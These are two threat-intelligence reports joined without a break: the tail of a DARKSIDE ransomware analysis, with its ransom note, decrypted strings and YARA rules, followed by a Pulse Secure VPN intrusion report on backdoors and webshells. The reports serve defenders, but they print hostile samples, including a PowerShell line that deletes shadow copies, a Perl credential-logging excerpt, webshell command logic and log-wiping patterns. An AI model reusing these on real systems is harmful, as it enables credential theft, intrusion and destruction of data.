But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
Using a TOR browser:
1) Download and install TOR browser from this site:
2) Open our website: http://darksidfqzcuhtk2[.]onion/

When you open our website, put the following data in the input form:

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

application data
program files
program files (x86)
system volume information
tor browser
all users
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC\r\nThe data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site:\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
/C DEL /F /Q
 >> NUL
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
*$_,2))};iex $s"
SELECT * FROM Win32_ShadowCopy

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations


Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)


Malware Protection(AV/MG)

  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:Trojan.Heur.PT.omZ@bSEA3vk
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected


  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.




Malicious File Transfer - DARKSIDE, Download, Variant #2 


Malicious File Transfer - DARKSIDE, Download, Variant #3 


Malicious File Transfer - DARKSIDE, Download, Variant #4 


Malicious File Transfer - DARKSIDE, Download, Variant #5 


Malicious File Transfer - DARKSIDE, Download, Variant #6 


Malicious File Transfer - DARKSIDE, Download, Variant #7 


Malicious File Transfer - DARKSIDE, Download, Variant #8 


Malicious File Transfer - DARKSIDE, Download, Variant #9 


Malicious File Transfer - DARKSIDE, Download, Variant #10 


Malicious File Transfer - DARKSIDE, Download, Variant #11 


Malicious File Transfer - DARKSIDE, Download, Variant #12 


Malicious File Transfer - DARKSIDE, Download, Variant #13 


Malicious File Transfer - DARKSIDE, Download, Variant #14 


Malicious File Transfer - DARKSIDE, Download, Variant #15 


Malicious File Transfer - DARKSIDE, Download, Variant #16 


Malicious File Transfer - DARKSIDE, Download, Variant #17 


Malicious File Transfer - DARKSIDE, Download, Variant #18 


Malicious File Transfer - DARKSIDE, Download, Variant #19 


Malicious File Transfer - DARKSIDE, Download, Variant #20 


Malicious File Transfer - DARKSIDE, Download, Variant #21 


Malicious File Transfer - DARKSIDE, Download, Variant #22 


Malicious File Transfer - DARKSIDE, Download, Variant #23 


Malicious File Transfer - DARKSIDE, Download, Variant #24 


Malicious File Transfer - DARKSIDE, Download, Variant #25 


Malicious File Transfer - DARKSIDE, Download, Variant #26 


Malicious File Transfer - DARKSIDE, Download, Variant #27 


Malicious File Transfer - DARKSIDE, Download, Variant #28 


Malicious File Transfer - DARKSIDE, Download, Variant #29 


Malicious File Transfer - DARKSIDE, Download, Variant #30 


Malicious File Transfer - DARKSIDE, Download, Variant #31 


Malicious File Transfer - DARKSIDE, Download, Variant #32 


Malicious File Transfer - DARKSIDE, Download, Variant #33 


Malicious File Transfer - DARKSIDE, Download, Variant #34 


Malicious File Transfer - DARKSIDE, Download, Variant #35 


Malicious File Transfer - DARKSIDE, Download, Variant #36 


Malicious File Transfer - NGROK, Download, Variant #1 


Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 


Malicious File Transfer - BEACON, Download, Variant #3 


Data Exfiltration - RCLONE, Exfil Over SFTP 


Malicious File Transfer - RCLONE, Download, Variant #2 


Command and Control - DARKSIDE, DNS Query, Variant #1 


Command and Control - DARKSIDE, DNS Query, Variant #2 


Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 


Protected Theater - DARKSIDE, PsExec Execution 


Host CLI - DARKSIDE, Windows Share Creation 


Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

















Login Source







Login Source




81.91.177[.]54 :7234

Remote Access


File Hosting




Malicious Infrastructure


Downloader URL


Downloader LNK


VBS Launcher


Ngrok Utility

DARKSIDE Ransomware Encryptor






































Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day

20 Apr 2021

Executive Summary

  • Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances.
  • This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells.
  • The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector.
  • Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021.
  • Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
  • There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.


Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families.

The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity.

Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.

As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.


Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment.

In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893.

We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following:

  1. Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants.
  2. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
  3. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
  4. Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
  5. Unpatch modified files and delete utilities and scripts after use to evade detection.
  6. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.

In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.

Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.


During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details.


This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker's chosen backdoor password.

LDAP Auth Bypass

The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.

Figure 1: LDAP Auth Bypass

RADIUS Two Factor Auth Bypass

The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.

Figure 2: Radius-2FA Bypass


ACE Two Factor Auth Credential Logging

This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.

Figure 3: ACE Auth Credential Log


ACE Two Factor Auth Bypass

This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication.

Figure 4: ACE Auth Bypass Variant


RealmSignin Two Factor Auth Bypass

This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass.

Figure 5: RealmSignIn 2FA Auth Bypass


We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.

Mandiant is able to assess that:

  • UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.
    • We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5
  • UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.
    • We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
  • We do not have enough information about the use of LOCKPICK to make an attribution statement.

UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group.

Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets.

APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia.

  • As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform.
  • In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers.
  • Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs).
  • APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.


All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance.

Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.

Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page.

Detections and Mitigations


  • HARDPULSE contains an embedded 'recovery' URL https://ive-host/dana-na/auth/recover[.]cgi?token= that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file.




  • PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials:
    • /tmp/dsactiveuser.statementcounters
    • /tmp/dsstartssh.statementcounters
    • /tmp/dsserver-check.statementcounters


  • The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.


  • Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent:









  • SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/ in a+ (append) mode, using the format string %s:%s\n.


  • PACEMAKER is saved at filepath /home/bin/memread
  • Executed with commandline flags –t, -m, -s
  • Attaches to victim processes with PTRACE and opens subfiles in /proc/


  • THINBLOOD creates the files:
    • /home/runtime/logs/
    • /home/runtime/logs/
    • /home/runtime/logs/log.access.vc1
    • /home/runtime/logs/log.access.vc2
  • Executes the system API with the mv command specifying one of the files above, targeting:
    • /home/runtime/logs/log.access.vc0
    • /home/runtime/logs/
  • Executes the rm command specify one of the .vc1 files above


  • SLIGHTPULSE uses /tmp/1 as command execution log
  • All POST requests to meeting_testjs.cgi are suspicious
  • POST parameters: cert, img, name are used by malicious logic
  • Responses to the endpoint with the name parameter respond with no-cache and image/gif


  • THINBLOOD execution of sed on the files:
    • log.access.vc0
    • Log.admin.vc0
  • Sed patterns used:
    • s/.\x00[^\x00]*[^\x00]*\x09.\x00//g
    • s/\x\x00[^\x00]*[^\x00]*\x09\x\x00//g


  • The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line:
    • ./patcher input.bin output.bin backdoorkey e


  • The sample uses the HTTP query parameter id and responds with HTTP headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".





  • Execute sed on PulseSecure system files
  • Remounts filesystem as writable: system("/bin/mount -o remount,rw /dev/root /")
  • Unexpected execution of other system commands such as tar, cp, rm

MITRE ATT&CK Techniques

The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.

  • T1003-OS Credential Dumping
  • T1016-System Network Configuration Discovery
  • T1021.001-Remote Desktop Protocol
  • T1027-Obfuscated Files or Information
  • T1036.005-Match Legitimate Name or Location
  • T1048-Exfiltration Over Alternative Protocol
  • T1049-System Network Connections Discovery
  • T1053-Scheduled Task/Job
  • T1057-Process Discovery
  • T1059-Command and Scripting Interpreter
  • T1059.003-Windows Command Shell
  • T1070-Indicator Removal on Host
  • T1070.001-Clear Windows Event Logs
  • T1070.004-File Deletion
  • T1071.001-Web Protocols
  • T1082-System Information Discovery
  • T1098-Account Manipulation
  • T1105-Ingress Tool Transfer
  • T1111-Two-Factor Authentication Interception
  • T1133-External Remote Services
  • T1134.001 Access Token Manipulation: Token Impersonation/Theft
  • T1136-Create Account
  • T1140-Deobfuscate/Decode Files or Information
  • T1190-Exploit Public-Facing Application
  • T1505.003-Web Shell
  • T1518-Software Discovery
  • T1554-Compromise Client Software Binary
  • T1556.004-Network Device Authentication
  • T1592.004 Gather Victim Host Information: Client Configurations
  • T1562 Impair Defenses
  • T1569.002-Service Execution
  • T1574 Hijack Execution Flow 
  • T1600-Weaken Encryption

Figure 6: MITRE ATT&CK Map

Technical Annex


The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.

The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is:

POST params

Invoked Command



img, name with nonempty value


img set to empty string "", name


anything else

invoke original legitimate logic

Figure 7: Webshells respond to POSTs

All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is:




^-------RC4 KEY--------^


This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers "Content-type: application/x-download\n", and form header "Content-Disposition: attachment; filename=tmp\n\n".


This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".


This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers "Cache-Control: no-cache\n" and "Content-type: image/gif\n\n" are used. The response appears to be masquerading as a GIF when sending back this command output.


The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters.

Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.

An excerpt of the code related to credential stealing is shown as follows:

my $realmName1 = $signin->getRealmInfo()->{name};     

open(*fd, ">>/tmp/dsstartssh.statementcounters");      

syswrite(*fd, "realm=$realmName1 ", 5000);         

syswrite(*fd, "username=$username ", 5000);        

syswrite(*fd, "password=$password\n", 5000); 



The file with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal.

In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively.

LDAP Auth Bypass

In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed.

RADIUS Two Factor Auth Bypass

In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it's not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it's of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed.


ACE Two Factor Auth Credential Logging

We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication.

The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/ in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal.


